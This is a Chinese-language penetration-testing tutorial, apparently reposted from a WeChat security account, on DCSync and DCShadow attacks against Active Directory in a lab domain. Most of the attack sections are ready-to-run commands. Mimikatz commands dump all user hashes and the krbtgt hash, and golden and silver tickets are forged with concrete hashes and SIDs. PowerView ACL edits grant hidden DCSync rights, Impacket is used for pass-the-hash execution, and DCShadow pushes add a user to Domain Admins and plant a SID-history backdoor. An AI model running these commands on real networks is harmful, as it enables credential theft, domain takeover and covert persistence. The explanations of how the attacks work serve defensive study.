【内网渗透】DCSync&DCshadow原理与应用

admin 2024年3月12日09:55:48评论14 views字数 4383阅读14分36秒阅读模式
免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

DCSync

原理

在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希

2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。

前置

获得以下任意权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

即:默认情况下域管理员组具有该权限

或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

利用

简单利用

#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv

#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT

#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv

【内网渗透】DCSync&DCshadow原理与应用

【内网渗透】DCSync&DCshadow原理与应用

【内网渗透】DCSync&DCshadow原理与应用

进阶利用

生成黄金票据

导出krbtgt账户hash

lsadump::dcsync /domain:redteam.local /user:krbtgt

【内网渗透】DCSync&DCshadow原理与应用

之后在win2008机器注入黄金票据

kerberos::golden /user:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ptt

成功与域控建立连接

【内网渗透】DCSync&DCshadow原理与应用

域内权限维持

如前文所述,我们如果让普通域用户获得了访问控制条目即可拥有DCSync权限,那么就相当于让普通域用户有了隐藏的域管权限
这里我们使用powerview来实现,给普通域用户DB添加

Import-Module .PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity DB -Rights DCSync -Verbose

【内网渗透】DCSync&DCshadow原理与应用

之后用DB用户测试

【内网渗透】DCSync&DCshadow原理与应用

成功使用DCSync dumphash
之后输入

Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity whoami -Rights DCSync -Verbose

即可删除权限

查找具有 DCSync权限的用户

我们可以使用ADFind

AdFind.exe -s subtree -b "DC=redteam,DC=local" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

【内网渗透】DCSync&DCshadow原理与应用

之后我们删除再次重新寻找,发现DB账户的权限成功删除

【内网渗透】DCSync&DCshadow原理与应用

使用MachineAccount实现DCSync

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令

计算机帐户的密码存储在注册表中的位置为:

HKEY_LOCAL_MACHINESECURITYPolicySecrets$machine.ACC  # 该注册表键路径只能在 SYSTEM 权限下访问

利用

因为白银票据注入是需要MachineAccount账户的hash的,所以下一步我们使用白银票据测试
先测试下删除DCSync权限的情况

【内网渗透】DCSync&DCshadow原理与应用

嗯,没有权限
之后我们注入白银票据(这里的服务可以注入ldap服务,注入机器hash为DC)

kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:LDAP /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:krbtgt /ptt

【内网渗透】DCSync&DCshadow原理与应用

成功利用白银票据dumphash
同时黄金票据也测试成功

【内网渗透】DCSync&DCshadow原理与应用

扩展

更多的我们可以impacket包的secretsdump来远程利用

1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied

也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (winserver2016已经不能用机器账户进行认证登陆)

python smbexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /privpython wmiexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv也可以用powershell脚本https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

【内网渗透】DCSync&DCshadow原理与应用

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

【内网渗透】DCSync&DCshadow原理与应用

DCshadow

原理

Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。

步骤

1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。

从原理中我们可以认识到两点:
1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等
2、除了dc之间的连接通信,默认情况下不会记录事件日志

【内网渗透】DCSync&DCshadow原理与应用

前置

域控新创一个测试域普通用户lh

【内网渗透】DCSync&DCshadow原理与应用

起一个system的进程

!+
!processtoken
token::whoami

【内网渗透】DCSync&DCshadow原理与应用

新起一个域管cmd窗口

【内网渗透】DCSync&DCshadow原理与应用

攻击

system执行,更改描述符

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:description    /value:"test successfully"

【内网渗透】DCSync&DCshadow原理与应用

之后域管执行push

lsadump::dcshadow /push

【内网渗透】DCSync&DCshadow原理与应用

推送刷新成功,在域控查看发现打成功了

【内网渗透】DCSync&DCshadow原理与应用

添加域管

查看本地域管

【内网渗透】DCSync&DCshadow原理与应用

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:primarygroupid /value:512

发送我们的payload并且推送

【内网渗透】DCSync&DCshadow原理与应用

再次查看域管

【内网渗透】DCSync&DCshadow原理与应用

前后对比

【内网渗透】DCSync&DCshadow原理与应用

添加sid history后门

查看当前域管的sid

【内网渗透】DCSync&DCshadow原理与应用

lsadump::dcshadow /object:CN=DB,CN=Users,DC=redteam,DC=local /attribute:sidhistory /value:S-1-5-21-3458133008-801623762-2841880732-500

发送我们的payload

【内网渗透】DCSync&DCshadow原理与应用

之后重启用户

【内网渗透】DCSync&DCshadow原理与应用

连接域控成功

【内网渗透】DCSync&DCshadow原理与应用

参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
https://www.anquanke.com/post/id/146551

原文始发于微信公众号(猫蛋儿安全):【内网渗透】DCSync&DCshadow原理与应用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月12日09:55:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内网渗透】DCSync&DCshadow原理与应用http://cn-sec.com/archives/2569267.html

发表评论

匿名网友 填写信息